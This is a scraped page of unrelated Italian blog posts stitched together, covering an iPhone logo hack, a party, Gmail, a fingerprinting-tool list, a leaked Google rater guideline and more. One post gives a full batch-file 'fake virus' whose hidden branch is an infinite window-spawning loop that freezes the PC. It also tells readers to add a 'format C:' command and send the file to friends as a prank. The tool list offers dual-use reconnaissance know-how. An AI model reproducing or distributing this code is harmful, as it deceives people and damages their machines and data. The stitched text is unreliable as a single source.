Un team russo è riuscito ad ottenere quello che già era su Mac.L’icona della Mela nel retro della iPhone che brilla e la cui luminosità può essere regolata tramite le preferenze.

Vedere per credere

Che festa ieri sera al Ceghedaccio. C'era davvero un marasma di gente e Renato era in gran forma musicale. La nostra eterogenea compagnia si è poi nebulizzata integrandosi con altri amici giunti da ogni dove. Non potevano mancare gli onnipresenti Starman e Denis, entrambi macisti ora, per delle bevute in amicizia ma il vero collante è stato Marcoluca, navigato PR che con la sua arte geticoloratoria è riuscito a dare un colpo al cerchio e una alla moglie ubriaca, soddisfacendo tutti fino al triplice fischio d'un Pontoni commosso e compleannizzante. Alcuni squarci che si sono aperti nel mio passato non hanno impedito alla mia festa di essere divertente, scoppiettante, peccato solo sia durata così poco.

Le foto della serata sono già apparse nel nostro flickr, in attesa di vederle nel sito ufficiale e nel (nuovo) flickr del Ceghedaccio, che curo personalmente da pochi giorni. Ci sono da mettere le foto vecchie e quelle nuove: ci vorrà un po' di tempo.

E ora il novello Michael Jackson, segnalatomi da Marilena, anchella ceghediana con Lele: un vero fenomeno, genio incompreso del Music Idol bulgaro. Io li conosco bene entrambi e fatico a scorgere differenza veruna.

Se i rumors sono fondati (e pare che lo siano) Microsoft Outlook e IBM Lotus Notes vedranno probabilmente ridursi le proprie quote di mercato nel mondo dei client di posta elettronica.

Gmail è attualmente il servizio di email online gratuito più popolare del mondo. Tre anni fa rivoluzionò il mondo dell’online mailing con un servizio di gran lunga superiore ai concorrenti, offrendo features e possibilità (quasi 3 giga di storage a costo zero) fino ad allora sconosciute agli utenti web, che ben accolsero la novità.
Ogni tentativo da parte di Google di sconfinare dall’universo della ricerca online è andato a buon fine, se fanno una cosa la fanno bene quelli di Google, possibilmente meglio degli altri.
(more…)

Riprende l'attività scolastica per i nonni degli Internet Saloon di Milano, Sondrio e Pavia.

ARGOMENTO SEMPLICE

I mixtape sono raccolte di canzoni che rievocano lo spirito delle vecchie audiocassette sulle quali si incidevano i brani preferiti per poi ascoltarli in auto o con il walkman. Online ci sono parecchi servizi che consentono di creare playlist dei propri brani preferiti, in modo da poterle ascoltare e condividere con gli amici.

Favtape è un servizio creato appunto per soddisfare questa esigenza. Consente di ascoltare le playlist degli altri utenti di crearne di proprie, ma anche di consultare il vasto catalogo ordinato per genere o per anno di pubblicazione.

E’ importante sottolineare che i brani non sono archiviati sui server di Favtape, ma semplicemente “serviti” in streaming sfruttando le API di SeeqPod.

Le varie playlist possono essere anche inserite all’interno del proprio sito web, segnalate via email o via Twitter agli amici.

L'embed di una playlist su Favtape

Post pubblicato su Speedblog

Creare mixtape con Favtape

Ho partecipato all’incontro tra Franco Bernabè e alcuni blogger nella doppia veste di organizzatore e blogger, per cui ho dei sentimenti contrastanti sul risultato complessivo.

Da un punto di vista organizzativo tutto è andato per il meglio. L’incontro ha beneficiato della moderazione di Luca De Biase, che ha cercato di far cadere quel muro invisibile che separava l’A.D. dalla platea.

Il lento incedere dell’eloquio lineare di Bernabè e il ricorso a gustosi aneddoti personali, hanno quasi incantato alcuni blogger, dai quali mi aspettavo, forse sbagliando, un piglio più battagliero.
Nonostante ciò le domande sono state di alto livello e hanno fatto emergere la passione e lo spirito propositivo che anima il manager, tornato in Telecom, anche per “tigna”, dopo l’OPA, definita “un delitto contro il progresso del paese”.

Sarebbe stata auspicabile una maggior chiarezza sul tema della net neutrality, ma per il resto mi sembra sia stato un primo passo importante e non banale, per un’azienda di queste dimensioni e con questa storia, verso un dialogo che si spera continui nei prossimi mesi.

La cronaca di Luca , Vittorio e della rete.

Update: servizio de La7

Condividi

Uno strumento che non può mancare al bagaglio di attrezzi di un (ethical) hacker è un software di fingerprinting. Sistemi operativi, protocolli, web server, browser: di seguito presento una lista per identificarli da remoto.

Alcuni benefici dell’identificazione dei sitemi li svela Fyodor nell’introduzione al suo nmap. L’identificazione può essere determinante per capire se un sistema è vulnerabile o meno a un attacco; l’identificazione della precisa versione di un software può determinare l’esito dell’esecuzione di un exploit.

Inoltre l’identificazione dei sistemi può essere utile anche agli amministratori di grandi reti per effettuare un inventario dei software installati, o per rilevare dispositivi non autorizzati.

Infine le informazioni raccolte con questi strumenti possono servire da supporto ad un attacco di social-engineering, dove un’informazione estremamente dettagliata può sostenere e consolidare la credibilità dell’hacker.

1. Amap
Effettua il fingerprinting delle applicazioni, identificando i protocolli indipendentemente dalla porta TCP/UDP sui cui sono in esecuzione.

2. BrowserRecon
Riconosce il tipo di browser da remoto, anche se lo User-Agent è modificato (con User Agent Switcher per esempio)

3. Ettercap
Molto più di uno strumento di fingerprinting, Ettercap è in grado di sniffare dati, effettuare attacchi man-in-the-middle in LAN. Tra l’altro è in grado di effettuare OS fingerprinting e analisi del MAC address

4. Httprecon
HTTP fingerprinting. Riconosce un web server anche se questo viene mascherato (con mod_security per esempio)

5. Httprint
Come Httprecon; se non ricordo male è stato il primo a fare HTTP fingerprinting

6. Nmap
Il principe degli scanner implementa l’OS fingerprinting attivo dal ‘98. Nel 2006 è stato sostituito l’engine con una nuova versione più potente. Ottimo strumento per riconoscere un sistema operativo da remoto

7. Nmap Online
Un Nmap online con interfaccia web. Può sempre tornare utile.

8. p0f
Creatura del perfido Michal Zalewski, il primo software di passive OS fingerprinting

9. SinFP
Modulo Perl multi-piattaforma per effettuare il riconoscimento attivo e passivo.

10. XProbe2
Altro potente software per il fingerprinting attivo

Clickster è un potente programma per la ricerca di canzoni che mi ha lasciato notevolmente soddisfatto!
Completamente gratuito, leggero e pieno di canzoni!
Il programma permette di cercare la musica di ascoltarla e di scaricarla, il tutto in tempi ristetti(molto di piu rispetto ad emule per intenderci)
L’unica pecca che ho riscontrato è che vuole essere lasciato in pace mentre cerca la musica altrimenti si incazza e si blocca…mha…magari è voluto…comuqnue funziona bene e lo consiglio vivamente a tutti!

 
La Canon PIXMA MP980 ha una connettività Wi-Fi.
Questa è la scheda prodotto ufficiale su Canon.it.
Canon, stampanti canon, Stampanti Wi Fi

leggi tutto

Salve a tutti!! Il mio primo post.. che bello.. ovviamente scherzo, anzi ne approfitto per ringraziare Rikivik per la calorosa accoglienza.
Ci terrei a precisare una cosa: Tutto il materiale da me pubblicato su questo sito è solamente a scopo informativo, per cui non me ne assumo la responsabilità dell’uso che l’utente andrà a fare.

Dopo questo excursus, oggi vi farò vedere come far prendere una gran paura ai vostri amici attraverso un bel finto virus, appunto l’Rr1. Questo “virus” è famosissimo in tutto il mondo, perchè ricrea le condizioni del tipo: “Se sbagli questa domanda, ti formatto l’hard disk. Se la indovini, invece, ti lascio stare.”! Infatti, questo virus è molto intelligente, grazie ad una domanda che viene posta, settando le risposte, puoi ottenere un certo risultato. Prima di iniziare devo fare una precisazione: per tutti i lavori che andremo a fare, non servirà niente di speciale, solo un editor di testo (va benissimo il blocco note). Ma, ora, vediamo nel dettaglio:

1)Per iniziare, aprite il blocco note.
2) Incollateci dentro il seguente codice:

@echo off
echo Ciao io sono il famoso virus, quello a domande. Non so se ti conviene chiudermi.. se no ti formatto l'hard disk! Bene.. adesso iniziamo.
echo Come mi chiamo?? Se indovini, la finiamo qua, se sbagli.. cazzi tuoi.
echo 1) Trojan horse
echo 2) Rr1
echo 3) Blaster
set /p risposta=
if %risposta%==1 goto no
if %risposta%==2 goto yes
if %risposta%==3 goto no
:yes
echo Ok.. hai indovinato. Ti ho fatto spaventare abbstanza. Comunque non ti avrei fatto niente. A presto!
echo Premi un tasto per uscire.
exit
:no
echo Sbagliato! Adesso tutto sta a te: Vuoi che ti impallo semplicemente il computer, o vuoi che te lo formatto?
echo 1) Formatta
echo 2) Impalla
set /p risposta=
if %risposta%==1 goto fo
if %risposta%==2 goto im
:fo
echo Ok, allora ti formatterò tutto il tuo hard disk. Chiudi tutte le applicazioni. Una vota fatto, clicca su "procedi"
echo 1) Procedi
set /p risposta=
if %risposta%==1 goto ok
:ok
echo Ok
echo Non sono così maligno.. nn ti formatto il PC.. per questa volta
exit
:im
echo Ok, ti impallerò il PC. Salva e chiudi tutte le applicazioni. Quando sei pronto, seleziona "Procedi"
echo 1) Procedi
set /p risposta=
if %risposta%==1 goto abc
:abc
:infinitedos
@start
@echo impallando..
@start
@goto infinitedos

Salvate in questo nome: nomefile.bat
E’ importantissimo che gli rimanga l’estensione.bat, altrimenti non funzionerà!!
In particolare: Cosa vogliono dire quelle scritte??
1) Il comando echo, è utilizzato per far “parlare” il dos, ossia a visualizzare le domande che il finto virus richiede;
2) Il comando set /p risposta=, è utilizzato per settare le varie risposte.

E’ da notare, che arrivati ad un certo punto, vi chiede se formattare il PC, o se impallarlo semplicemente. Per evitare i danni maggiori, selezionare “Formatta”, perchè, come potete vedere dal codice, non fa niente. Se, invece, selezionate l’opzione “Impalla” (Che sarebbe quella più ovvia, ed è proprio questo il trucco), il PC si impalla veramente, perchè si apriranno infinite finestre di dos, che andranno a devastare la memoria ram del PC, facendolo impallare. Non vi resterà che riavviarlo, ma, al riavvio, tutto sarà come prima.

PEr risponedre alle domande del quiz, usare i rispettivi numeri di domanda, poi prenere INVIO

Adesso la bastardata: Fate due quiz simili, solo che al secondo, al posto di: echo Non sono così maligno.. nn ti formatto il PC.. per questa volta.;
Mettete: @echo format C:/autotest; A questo punto inviateli ad un vostro amico.
Se al primo, selezionando, “Formatta”, non succede niente, questa volta, invece, con il comando “FormatC:/”, Il vostro amico sarà letteralmente depistato… chissà che non sceglierà proprio l’opzione “Formatta”

Il blog SeoBlackHat ha annunciato pochi giorni or sono di essere entrato in possesso di un documento di Google, che avrebbe dovuto essere confidenziale e ad uso esclusivo dei Quality Rater - anche Aaron Wall ha ripreso la notizia.

Per consultarne il contenuto, si dovrebbe essere iscritti (a pagamento) al forum di SeoBlackHat stesso, tuttavia, ho trovato altrove il documento completo, che vi propongo in questo post.

Si tratta delle Linee Guida che Google fornisce ai Quality Rater per indicare loro come valutare le pagine, ed aiutarli ad individuare quelle che fanno uso di tecniche di web spam (la versione è la 2.1, e la revisione risale ad Aprile 2007).

Il documento, che porta la firma di tal “Jemma”, contiene indicazioni sui compiti dei quality rater e sulla scala di valutazioni della rilevanza (con tanto di esempi), sul sistema EWOQ, e soprattutto su cosa vada considerato web spam e cosa, invece, no.

Ho salvato e vi propongo queste 43 pagine - una lettura molto interessante per chi fa SEO.

Ecco il link diretto al PDF:
Documento di Google: Linee guida per i Quality Rater [PDF, 43 pagine, ~2 mb]
Ed ecco anche il link alla fonte originale (UPDATE - Nota: il contenuto è stato rimosso).

Sfogliando queste pagine si legge, tra l’altro, che:

Some individuals have more than one blog and/or more than one homepage on a social networking site (e.g. myspace, facebook, friendster, mixi). When these pages are maintained by the individual (or an authorized representative of the individual), they are all considered to be Vital.

Ogni singolo blog ed ogni singolo profilo di social network mantenuto da una persona, ed inequivocabilmente riconducibile ad essa, è da considerarsi una risorsa irrinunciabile da presentare in risposta a ricerche relative all’individuo.

If navigation to helpful content is very difficult, a rating of Off-Topic may be assigned. For example, if the link to good results is poorly-labeled or buried at the bottom of a long list of links, or if you need to click multiple times to get to helpful content, you may assign a rating of Off-Topic.

Una risorsa fuori tema per la query viene generalmente classificata come “Non rilevante” se contiene un link ad una pagina più appropriata per la query, tuttavia se il link è difficile da individuare la risorsa può essere declassata a Fuori tema.

In many cases, when there is a mismatch between the Task Location and the country domain of the page, you will need to lower the rating for the page.

L’estensione (il TLD) del dominio ha un peso nella valutazione: le risorse ospitate sotto un TLD specifico non pertinente alla lingua indicata per il task, vengono declassate. Meglio un TLD generico, quindi?

Major cosmopolitan cities are preferred targets for spammers, especially hotel affiliates. Such results should be labeled as Spam, even if they have relevance to the query

Nessuna pietà per le pagine costituite esclusivamente da affiliazioni: anche se a tema, sono da considerarsi Spam.

Pages should generally not be marked Spam if they provide added value. Added value refers to original or other useful content on the page, regardless of whether there are PPC ads. Examples of content that provides added value include … Price comparison functionality: Even though the user has to go to another site via the affiliate link to place an order, there is value to have price comparisons right there on the page.

Quanto detto sopra, non si applica ai comparatori di prezzo: questo tipo di risorse offre valore aggiunto all’utente, quindi non è spam.

(Scraped Content that is not Spam) Lyrics, poems, ringtones (that the user programs rather than downloads), quotes, and proverbs have no central authority. When you see pages with this content, you cannot judge it to have been copied, and the pages should not be assigned a Spam label.

Allo stesso modo, non si può considerare spam nemmeno una pagina che riporta informazioni duplicate come testi di canzoni, poesie, proverbi ed altri contenuti dei quali nessuno può reclamare la paternità.

If you suspect a Sneaky Redirect has taken place, you should check “who is” the registrant (or owner) of the two domains. If the registrant is the same, the redirect is not sneaky. [...] Compare the domain registrants for each URL. If you find that the two URLs have the same domain registrant, you will conclude that the page is not Spam. If they are different, it is probably Spam.

I redirect non vanno classificati come ingannevoli se non portano ad un dominio differente. Non sono ingannevoli neppure se il dominio è differente, ma l’Owner è il medesimo.

Some webmasters employ CSS (Cascading Style Sheets) to transform text into minute size or to hide it. Such ploys are not easy to spot, and identifying them by disabling this feature is an advanced technique and is totally optional.

Per individuare il testo nascosto affidatevi al CTRL+A, alle copie cache e alla visualizzazione senza eseguire i Javascript. I controlli con i CSS disabilitati sono del tutto facoltativi (per non parlare dei redirect e di altri giochetti lato server).

If I remove the copied content, scraped news feeds, fake forums and blogs, thin affiliate links, parked/expired domain links, and all that is left are PPC ads and sponsored links, the page is probably spam.

Questa è da incorniciare: “se da una pagina tolgo il contenuto copiato altrove, le news inserite includendo feed altrui, il contenuto finto (qui si intende machine-generated, ndr.), i link di affiliazione, e se a quel punto tutto ciò che resta sono annunci PPC e link sponsorizzati, allora quasi sicuramente quella pagina è Spam“.

Queste sono alcune delle cose che mi hanno colpito: il resto, ve lo lascio scoprire da soli. Buona lettura

Nota Bene

Non vorrei che sulla base di queste informazioni qualcuno si sentisse autorizzato a pensare che, ad esempio, il testo nascosto via CSS o i redirect ingannevoli attraverso domini intestati allo stesso proprietario siano tecniche di “spam sicuro”.

Non va mai dimenticato che queste sono solo linee guida dedicate ai quality raters, e che questi non sono quasi mai specialisti del webmastering: Google lo sa, e non si affida solo a loro per individuare lo spam: ci sono i controlli algoritmici (sia a campione che automatici), i controlli da parte di personale più qualificato, le segnalazioni dei webmaster, e perfino un intero team (capeggiato da Matt Cutts) dedicato alla lotta allo spam.